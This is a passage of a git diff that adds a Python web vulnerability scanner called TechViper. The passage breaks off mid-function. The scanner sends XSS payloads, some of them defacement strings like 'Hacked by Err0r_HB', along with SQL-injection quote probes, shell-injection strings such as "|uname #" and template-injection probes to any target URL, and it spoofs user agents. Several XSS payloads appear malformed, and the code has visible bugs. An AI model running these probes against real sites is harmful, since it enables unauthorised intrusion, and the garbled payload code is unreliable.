diff --git a/core/__init__.py b/core/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/core/__init__.py @@ -0,0 +1 @@ + diff --git a/core/colors.py b/core/colors.py new file mode 100644 index 0000000..8eef4b2 --- /dev/null +++ b/core/colors.py @@ -0,0 +1,36 @@ +__author__ = 'Malwareman007' +__version__ = '1.0' +__github__ = 'https://github.com/Malwareman007/TechViper' +__email__ = 'Malwareman007@protonmail.com' +__blog__ = 'https://techviper.webwatcher.tech' + +import sys +import os +import platform +colors = True # Output should be colored +machine = sys.platform # Detecting the os of current system +checkplatform = platform.platform() # Get current version of OS +if machine.lower().startswith(('os', 'win', 'darwin', 'ios')): + colors = False # Colors shouldn't be displayed in mac & windows +if checkplatform.startswith("Windows-10") and int(platform.version().split(".")[2]) >= 10586: + colors = True + os.system('') # Enables the ANSI +if not colors: + end = red = white = green = yellow = run = bad = good = bold = info = que = '' +else: + white = '\033[97m' + green = '\033[92m' + red = '\033[91m' + yellow = '\033[93m' + end = '\033[0m' + back = '\033[7;91m' + bold = '\033[1m' + blue = '\033[94m' + info = '\033[93m[!]\033[0m' + que = '\033[94m[?]\033[0m' + bad = '\033[91m[-]\033[0m' + good = '\033[92m[+]\033[0m' + run = '\033[97m[~]\033[0m' + grey = '\033[7;90m' + cyan='\u001B[36m' + gray = '\033[90m' diff --git a/core/config.py b/core/config.py new file mode 100644 index 0000000..7dd273d --- /dev/null +++ b/core/config.py @@ -0,0 +1,7 @@ +#------------------------- +# TechViper Config File .. | +#------------------------- +# HTTPS Cert +vert = True +# Allow Redirects +redir=False diff --git a/core/encoder.py b/core/encoder.py new file mode 100644 index 0000000..c999f04 --- /dev/null +++ b/core/encoder.py @@ -0,0 +1,3 @@ +import urllib.parse +def urlencoder(payload): + return urllib.parse.quote(payload,safe='') \ No newline at end of file diff --git a/core/logger.py b/core/logger.py new file mode 100644 index 0000000..7fe6f25 --- /dev/null +++ b/core/logger.py @@ -0,0 +1,16 @@ +import logging +import requests,urllib3 +from core.colors import * +logging.basicConfig( + format=f'{bold}[{cyan}%(asctime)s{end}{bold}]{gray}[{end}{bold}{green}%(levelname)s{gray}]{end} %(message)s',datefmt='%H:%M:%S') +logger = logging.getLogger() +logger.setLevel(logging.DEBUG) +logging.getLogger("requests").setLevel(logging.WARNING) +logging.getLogger("urllib3").setLevel(logging.WARNING) +""" +logger.info('SQLI not found') +logger.debug('This a Debug Message') +logger.warning('Im Sorry i can hack this system') +logger.error('HTTP ERROR') +logger.critical('Internet Down') +""" \ No newline at end of file diff --git a/core/reporter.py b/core/reporter.py new file mode 100644 index 0000000..8c2b962 --- /dev/null +++ b/core/reporter.py @@ -0,0 +1,4 @@ +#!/usr/bin/env python + +def make_report(vuln): + pass diff --git a/core/requester.py b/core/requester.py new file mode 100644 index 0000000..c6e1032 --- /dev/null +++ b/core/requester.py @@ -0,0 +1,73 @@ +__author__ = 'Malwareman007' +__version__ = '1.0' +__github__ = 'https://github.com/Malwareman007/TechViper' +__email__ = 'Malwareman007@protonmail.com' +__blog__ = 'https://techviper.webwatcher.tech' + +from datetime import datetime +from .colors import * +from .config import * +from .logger import logger +from .scanner import uagent +from time import sleep +import requests,urllib3 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) +def thetime(): + now = datetime.now() + return f'{bold}{blue}[{end}{bold}{now.hour}:{now.minute}:{now.second}{blue}{bold}]{end}' +def red(w): + if w == 'ag': + return True + else: + return False +def con(url,redir,cookie=None,timeo=None,vert=None,proxy=None,slp=0,cagent=None): + try: + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + logger.info(f'Check The URL') + r = requests.get(url,allow_redirects=redir,timeout=timeo,cookies=cookie,verify=vert,proxies=proxy,headers={'User-agent':uagent(cagent=cagent)}) + if r.status_code == 200: + logger.info(f'http response : {r.status_code}') + elif r.status_code == 302 or r.status_code == 301: + logger.info(f"http response : {r.status_code} That's mean Redirect to another page/website") + elif r.status_code == 999: + logger.info('KingWaf Firwill Has been detected') + sleep(1) + else: + logger.info(f'http response : {r.status_code}') + except requests.exceptions.ConnectionError: + logger.error(f"host '{blue}{url}{end}' does not exist ..!") + exit() + except requests.exceptions.ReadTimeout: + logger.error(f"\n{bad} Timeout Error ") + exit() + except requests.exceptions.ProxyError: + logger.error(f"{bad} Proxy Connection Error") + exit() + except requests.exceptions.InvalidURL: + logger.error(f"{bad} Invalid URL") + exit() + except requests.exceptions.InvalidSchema: + logger.error(f"{bad} Invalid Schame") + exit() + except requests.exceptions.MissingSchema: + logger.error(f"{bad} Missing Schema") + exit() +def con_f(url,redir,cookie=None,timeo=None,vert=None,proxy=None,cagent=None,slp=0): + try: + sleep(slp) + r = requests.get(url,allow_redirects=redir,timeout=timeo,verify=vert,cookies=cookie,proxies=proxy,headers={'User-agent':uagent(cagent=cagent)}) + return 'ok' + except requests.exceptions.ReadTimeout: + return 'no','\ntimeout error ..' + except requests.exceptions.ConnectionError: + return 'no','Connection Error ..' + except requests.exceptions.ProxyError: + return 'no','Proxy Connection Error' + except requests.exceptions.InvalidURL: + return 'no','Invalid URL' + except requests.exceptions.InvalidSchema: + return 'no','Invalid Schema' + except requests.exceptions.MissingSchema: + return 'no','Missing Schema' diff --git a/core/scanner.py b/core/scanner.py new file mode 100644 index 0000000..27357bd --- /dev/null +++ b/core/scanner.py @@ -0,0 +1,1129 @@ +#!/usr/bin/env python3 +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software + +__author__ = 'Malwareman007' +__version__ = '1.0' +__github__ = 'https://github.com/Malwareman007/TechViper' +__email__ = 'Malwareman007@protonmail.com' +__blog__ = 'https://techviper.webwatcher.tech' + +import requests,sys,os,re,random,urllib3 +from .encoder import urlencoder +from .colors import * +from .reporter import make_report +from time import sleep +from .logger import logger +all_bugs = [] +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) +errors = {'sqlite3':'sqlite3.OperationalError','MySQL': 'error in your SQL syntax', + 'MiscError': 'mysql_fetch', + 'MiscError2': 'num_rows', + 'Oracle': 'ORA-01756', + 'JDBC_CFM': 'Error Executing Database Query', + 'JDBC_CFM2': 'SQLServer JDBC Driver', + 'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server', + 'MSSQL_Uqm': 'Unclosed quotation mark', + 'MS-Access_ODBC': 'ODBC Microsoft Access Driver', + 'MS-Access_JETdb': 'Microsoft JET Database', + 'Error Occurred While Processing Request' : 'Error Occurred While Processing Request', + 'unkown' : 'Server Error', + 'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error', + 'Invalid Querystring' : 'Invalid Querystring', + 'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC', + 'VBScript Runtime' : 'VBScript Runtime', + 'ADODB.Field' : 'ADODB.Field', + 'BOF or EOF' : 'BOF or EOF', + 'ADODB.Command' : 'ADODB.Command', + 'JET Database' : 'JET Database', + 'mysql_fetch_array()' : 'mysql_fetch_array()', + 'Syntax error' : 'Syntax error', + 'mysql_numrows()' : 'mysql_numrows()', + 'GetArray()' : 'GetArray()', + 'Fatal error': 'Fatal error', + 'FetchRow()' : 'FetchRow()', + 'Internal Server Error':'The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.', + 'Input string was not in a correct format' : 'Input string was not in a correct format', + 'Not found' : 'Not found','internal server':'The page cannot be displayed because an internal server error has occurred.','Internal Server Error':'The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application'} +def uagent(payload=None,one=False,cagent=None): + agents=[ + 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14', + 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0', + 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3', + 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', + 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7', + 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', + 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1', + 'Opera/8.01 (Windows NT 5.1; U; pl)', + 'Opera/8.50 (Windows NT 5.0; U; en)', + 'Opera/9.00 (Macintosh; PPC Mac OS X; U; es)', + 'Opera/9.24 (X11; Linux i686; U; de)', + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53' + ] + if payload: + if cagent: + ag = cagent.encode('utf-8') + payload.encode('utf-8') + return ag + if one: + return 'Opera/9.24 (X11; Linux i686; U; de)'.encode('utf-8') + payload.encode('utf-8') + ag = random.choice(agents) + payload + return ag # Add random User-agent in request + if cagent: + return (cagent.encode('utf-8')) + if one: + return 'Opera/9.24 (X11; Linux i686; U; de)' + return random.choice(agents).encode('utf-8') # Add random User-agent in request +class paramscanner: # Scanner Module + def __init__(slef): + pass + def xss(slef,url,co,tim,deco,vert,redir,cagent=None,proxy=None,slp=0,batch=None): + logger.info('Scanning from XSS Reflected With GET Method') + deco = deco - 1 + if '*' in url: + logger.info('relpacing (*) from url to payload') + logger.info('Trying to get a reflect from the parameter') + x = 0 + c = requests.get(url,headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + ch = re.findall('TechViper'.encode('utf-8'),c.content) + logger.info('Send http request with "TechViper" word for get a reflect') + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + check = requests.get(url.replace('*','TechViper'),headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + che = re.findall('TechViper'.encode('utf-8'),check.content) + if len(ch) < len(che): + logger.info('reflect is found') + payloads=['"

Hacked by Err0r_HB

"','">Err0r_HB','">
MOVE HERE
','">','">','',"'>"] + logger.info('Trying to get XSS from the parameter') + for payload in payloads: + payload2=urlencoder(payload) + for i in range(deco): + payload2=urlencoder(payload2) + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + r=requests.get(url.replace('*',payload2),headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + if payload.encode('utf-8') in r.content: + j=url.replace('*',payload2) + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : XSS Reflected +{info}{bold} Payload : {payload} +{info}{bold} Exploit : {j} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + break + if x == 0: + logger.info("Not vulnerable from XSS With GET Method") + else: + pass + elif '*' not in url: + payloads=['"

Hacked by Err0r_HB

"','">TechViper','">
MOVE HERE
','">','">'] + x = 0 + for params in url.split("?")[1].split("&"): + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + r2 = requests.get(url.replace(params, params + str('TechViper')),headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + r1 = requests.get(url,headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + r2 = re.findall('TechViper'.encode('utf-8'),r2.content) + r1 = re.findall('TechViper'.encode('utf-8'),r1.content) + if len(r2) > len(r1): + logger.info('reflect is Found') + for payload in payloads: + payload2=urlencoder(payload) + for i in range(deco): + payload2=urlencoder(payload2) # encode the payload + sleep(slp) + logger.info('try to get xss from the reflect') + r=requests.get(url.replace(params, params + str(payload2).strip()),headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + if payload.encode('utf-8') in r.content: + j=url.replace(params, params + str(payload2).strip()) + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : XSS Reflected +{info}{bold} Payload : {payload} +{info}{bold} Param : {params} +{info}{bold} Exploit : {j} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + x = 1 + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + break + if x == 0: + logger.info("Not vulnerable from XSS With GET Method") + else: + break + def xss_post(self,url,co,tim,dat,vert,redir,cagent=None,proxy=None,slp=0,batch=None): + ok = False + logger.info('Scanning from XSS With POST Method') + for i,d in dat.items(): + if '*' in d: + ok = True + if ok: + logger.info('replacing (*) from url to payload') + x = 0 + payloads=['"

Hacked by Err0r_HB

"','">TechViper','">
MOVE HERE
','">','">',"","'>"] + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + logger.info('Send post request for get a HTML of page') + r1 = requests.post(url,data=dat,cookies=co,verify=vert,allow_redirects=redir,timeout=tim,headers={'User-agent':uagent(cagent=cagent)},proxies=proxy) + if slp == 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + logger.info('relpacing (*) from url to payload') + for i,c in dat.items(): + dat[i] = c.replace('*','TechViper') + logger.info('Send post request with payload for get a reflect') + r2 = requests.post(url,data=dat,cookies=co,verify=vert,allow_redirects=redir,timeout=tim,headers={'User-agent':uagent(cagent=cagent)},proxies=proxy) + for i,c in dat.items(): + dat[i] = c.replace('TechViper','*') + r1 = re.findall('TechViper'.encode('utf-8'),r1.content) + r2 = re.findall('TechViper'.encode('utf-8'),r2.content) + if len(r2) > len(r1): + logger.info('reflect is Found') + logger.info('Trying to get xss from the parameter') + for payload in payloads: + for i,c in dat.items(): + dat[i] = c.replace('*',payload) + sleep(slp) + r = requests.post(url,data=dat,cookies=co,verify=vert,allow_redirects=redir,timeout=tim,headers={'User-agent':uagent(cagent=cagent)},proxies=proxy) + if payload.encode('utf-8') in r.content: + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : XSS Reflected +{info}{bold} Payload : {payload} +{info}{bold} Method : [{yellow}POST{end}] +{info}{bold} VALUS : {dat} +{info}{bold} URL : {r.url} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + for i,c in dat.items(): + dat[i] = c.replace(payload,'*') + x = 1 + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + break + else: + for i,c in dat.items(): + dat[i] = c.replace(payload,'*') + continue + if x == 0: + logger.info("Not vulnerable from XSS With GET Method") + else: + pass + else: + payloads=["'>",'"

Hacked by Err0r_HB

"','">TechViper','">
MOVE HERE
','">','">'] + x = 0 + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + r1 = requests.post(url,data=dat,cookies=co,verify=vert,allow_redirects=redir,timeout=tim,headers={'User-agent':uagent(cagent=cagent)},proxies=proxy) + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + for i,c in dat.items(): + dat[i] = c + 'TechViper' + logger.info('Send request with "TechViper" word for get a reflect') + r2 = requests.post(url,data=dat,cookies=co,verify=vert,allow_redirects=redir,timeout=tim,headers={'User-agent':uagent(cagent=cagent)},proxies=proxy) + for i,c in dat.items(): + dat[i] = c.replace('TechViper','') + r1 = re.findall('TechViper'.encode('utf-8'),r1.content) + r2 = re.findall('TechViper'.encode('utf-8'),r2.content) + if len(r2) > len(r1): + logger.info('reflect is found') + for payload in payloads: + for i,c in dat.items(): + dat[i] = c + payload + sleep(slp) + r = requests.post(url,data=dat,cookies=co,verify=vert,allow_redirects=redir,timeout=tim,headers={'User-agent':uagent(cagent=cagent)},proxies=proxy) + if payload.encode('utf-8') in r.content: + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : XSS Reflected +{info}{bold} Payload : {payload} +{info}{bold} Method : [{yellow}POST{end}{bold}] +{info}{bold} VALUS : {dat} +{info}{bold} URL : {r.url} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + for i,c in dat.items(): + dat[i] = c.replace(payload,'') + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + break + else: + for i,c in dat.items(): + dat[i] = c.replace(payload,'') + continue + if x == 0: + logger.info("Not vulnerable from XSS With GET Method") + def sqli_post(self,url,co,tim,dat,vert,redir,cagent=None,proxy=None,slp=0,batch=None): + ok = False + if slp != 0: + logger.debug(f"Sleeping {slp} sec") + sleep(slp) + logger.info('Scanning SQLI using post method With POST Method') +# te = requests.post(url,data=dat,cookies=co,verify=vert,allow_redirects=redir,timeout=tim,headers={'User-agent':uagent(cagent=cagent)},proxies=proxy) +# for c,d in errors.items(): +# fir = re.findall(d.encode('utf-8'),te.content) +# if fir != []: +# break + for i,d in dat.items(): + if '*' in d: + ok = True + if ok: + payload='"' + logger.info("replacing (*) from url to payload") + for i,d in dat.items(): + dat[i] = d.replace('*',payload) + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + r = requests.post(url,data=dat,cookies=co,verify=vert,allow_redirects=redir,timeout=tim,headers={'User-agent':uagent(cagent=cagent)},proxies=proxy) + x = 0 + for f,i in errors.items(): + ch=re.findall(i.encode('utf-8'),r.content) + if len(ch) > 0: + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : SQL injection +{info}{bold} Payload : {payload} +{info}{bold} Method : [{yellow}POST{end}{bold}] +{info}{bold} VALUS : {dat} +{info}{bold} URL : {r.url} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + break + for i,d in dat.items(): + dat[i] = d.replace(payload,'*') + if x == 0: + logger.info("Not vulnerable from SQLI With POST Method") + else: + payload='"' + for i,d in dat.items(): + dat[i] = d + payload + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + r = requests.post(url,data=dat,cookies=co,verify=vert,allow_redirects=redir,timeout=tim,headers={'User-agent':uagent(cagent=cagent)},proxies=proxy) + x = 0 + for f,i in errors.items(): + ch=re.findall(i.encode('utf-8'),r.content) + if len(ch) > 0: + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : SQL injection +{info}{bold} Payload : {payload} +{info}{bold} Method : [{yellow}POST{end}] +{info}{bold} VALUS : {dat} +{info}{bold} URL : {r.url} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + break + for i,d in dat.items(): + dat[i] = d.replace(payload,'') + if x == 0: + logger.info("Not vulnerable from SQLI") + def osinj_post(self,url,co,tim,dat,vert,redir,cagent=None,proxy=None,slp=0,batch=None): + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + te = requests.post(url,data=dat,cookies=co,verify=vert,allow_redirects=redir,timeout=tim,headers={'User-agent':uagent(cagent=cagent,one=True)},proxies=proxy) + fir = re.findall('Linux'.encode('utf-8'),te.content) + ok = False + logger.info('Scanning From RCE With POST Method') + for i,d in dat.items(): + if '*' in d: + ok = True + if ok: + payloads=["|uname #",'"|uname #',"'|uname #"] + logger.info('replacing (*) from url to payload') + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + for payload in payloads: + for i,c in dat.items(): + dat[i] = c.replace('*',payload) + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + logger.info('sent post request with RCE payload') + r = requests.post(url,data=dat,cookies=co,verify=vert,allow_redirects=redir,timeout=tim,headers={'User-agent':uagent(cagent=cagent,one=True)},proxies=proxy) + ch = re.findall('Linux'.encode('utf-8'),r.content) + x = 0 + if len(ch) > len(fir): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Remote Code Execution (RCE) +{info}{bold} Payload : {payload} +{info}{bold} Method : [{yellow}POST{end}] +{info}{bold} VALUS : {dat} +{info}{bold} URL : {r.url} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + for i,d in dat.items(): + dat[i] = d.replace(payload,'*') + break + else: + for i,d in dat.items(): + dat[i] = d.replace(payload,'*') + continue + if x == 0: + logger.info("Not vulnerable from RCE With POST Method") + else: + payloads=['"|uname #','|uname #',"'|uname #"] + for payload in payloads: + for i,d in dat.items(): + dat[i] = d + payload + sleep(slp) + r = requests.post(url,data=dat,cookies=co,verify=vert,allow_redirects=redir,timeout=tim,headers={'User-agent':uagent(cagent=cagent,one=True)},proxies=proxy) + ch = re.findall('Linux'.encode('utf-8'),r.content) + if len(ch) > len(fir): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Remote Code Execution (RCE) +{info}{bold} Payload : {payload} +{info}{bold} Method : [{yellow}POST{end}] +{info}{bold} VALUS : {dat} +{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + for i,d in dat.items(): + dat[i] = d.replace(payload,'') + break + else: + for i,d in dat.items(): + dat[i] = d.replace(payload,'') + continue + if x == 0: + logger.info('Not vulnerable from RCE With POST Method') + def ssti_post(self,url,co,tim,dat,vert,redir,cagent=None,proxy=None,slp=0,batch=None): + ok = False + logger.info('Scanning from SSTI With POST Method') + for i,d in dat.items(): + if '*' in d: + ok = True + if ok: + logger.info('replacing (*) From url to payload') + x = 0 + payloads=['{{6*6}}','<%= 6 * 6 %>','${6*6}'] + for payload in payloads: + for i,c in dat.items(): + dat[i] = c.replace('*','TechViperSSTI') + te = requests.post(url,data=dat,headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + sleep(slp) + fir = re.findall('36'.encode('utf-8'),te.content) + for i,c in dat.items(): + dat[i] = c.replace('TechViperSSTI',payload) + sleep(slp) + r = requests.post(url,data=dat,headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + ch = re.findall('36'.encode('utf-8'),r.content) + if len(ch) > len(fir): + r = requests.post(url,data=dat,headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + ch = re.findall('36'.encode('utf-8'),r.content) + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Template injection (SSTI) +{info}{bold} Payload : {payload} +{info}{bold} Method : [{yellow}POST{end}] +{info}{bold} VALUS : {dat} +{info}{bold} URL : {url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + for i,d in dat.items(): + dat[i] = i.replace(payload,'*') + break + else: + for i,d in dat.items(): + dat[i] = i.replace(payload,'*') + continue + if x == 0: + logger.info('Not vulnerable from SSTI With POST Method') + else: + payloads=['{{6*6}}','<%= 6 * 6 %>','${6*6}'] + x = 0 + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + te = requests.post(url,data=dat,headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + fir = re.findall('36'.encode('utf-8'),te.content) + for payload in payloads: + for i,c in dat.items(): + dat[i] = c + payload + sleep(slp) + r = requests.post(url,data=dat,headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + ch = re.findall('36'.encode('utf-8'),r.content) + if len(ch) > len(fir): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Template injection (SSTI) +{info}{bold} Payload : {payload} +{info}{bold} Method : [{yellow}POST{end}] +{info}{bold} VALUS : {dat} +{info}{bold} URL : {url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + for i,d in dat.items(): + dat[i] = i.replace(payload,'') + break + else: + for i,d in dat.items(): + dat[i] = i.replace(payload,'') + continue + if x == 0: + logger.info('Not vulnerable from SSTI With POST Method') + def sqli(self,url,co,tim,deco,vert,redir,cagent=None,proxy=None,slp=0,batch=None): + deco = deco - 1 + logger.info("Scanning from SQLI With GET Method") + payload='"' + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + if '*' in url: + logger.info("replacing (*) from url to payload") + payload='"' + payload=urlencoder(payload) + for i in range(deco): + payload=urlencoder(payload) + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + x = 0 + r=requests.get(url.replace('*',payload.strip()),headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + for f,i in errors.items(): + ch=re.findall(i.encode('utf-8'),r.content) + if len(ch) > 0: + j=url.replace('*',payload.strip()) + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : SQL Injection +{bold}{info}{bold} Payload : " +{info}{bold} Exploit : {j} +{info}{bold} SQL Error : {i}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + break + if x == 0: + logger.info('Not vulnerable from SQLI With GET Method') + elif '*' not in url: + x = 0 + for params in url.split("?")[1].split("&"): + payload='"' + payload=urlencoder(payload) + for h in range(deco): + payload=urlencoder(payload) + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + r=requests.get(url.replace(params, params + str(payload).strip()),headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + for d,i in errors.items(): + ch = re.findall(i.encode('utf-8'),r.content) + if len(ch) > 0: + j=url.replace(params, params + str(payload).strip()) + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : SQL Injection +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Param : {params} +{bold}{info}{bold} SQL Error : {i} +{bold}{info}{bold} Exploit : {j}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + break + if x == 0: + logger.info('Not vulnerable from SQLI With GET Method') + def osinj(self,url,co,tim,deco,vert,redir,cagent=None,proxy=None,slp=0,batch=None): + logger.info('Scanning from RCE With GET Method') + deco = deco - 1 + if slp != 0: + logger.debug(f"Sleeping {slp} sec") + sleep(slp) + te = requests.get(url,cookies=co,headers={'User-agent':uagent(cagent=cagent,one=True)},verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + fir = re.findall('Linux'.encode('utf-8'),te.content) + if '*' in url: + logger.info('replacing (*) from url to payload') + x = 0 + payloads=["'|uname %23",'"|uname %23',"|uname %23"] + for payload in payloads: + for h in range(deco): + payload=urlencoder(payload) + sleep(slp) + r=requests.get(url.replace('*',str(payload).strip()),headers={'User-agent':uagent(cagent=cagent,one=True)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + ch = re.findall('Linux'.encode('utf-8'),r.content) + if len(ch) > len(fir): + j=url.replace('*',payload.strip()) + print (f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Remote Code Execution (RCE) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Exploit : {j}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if 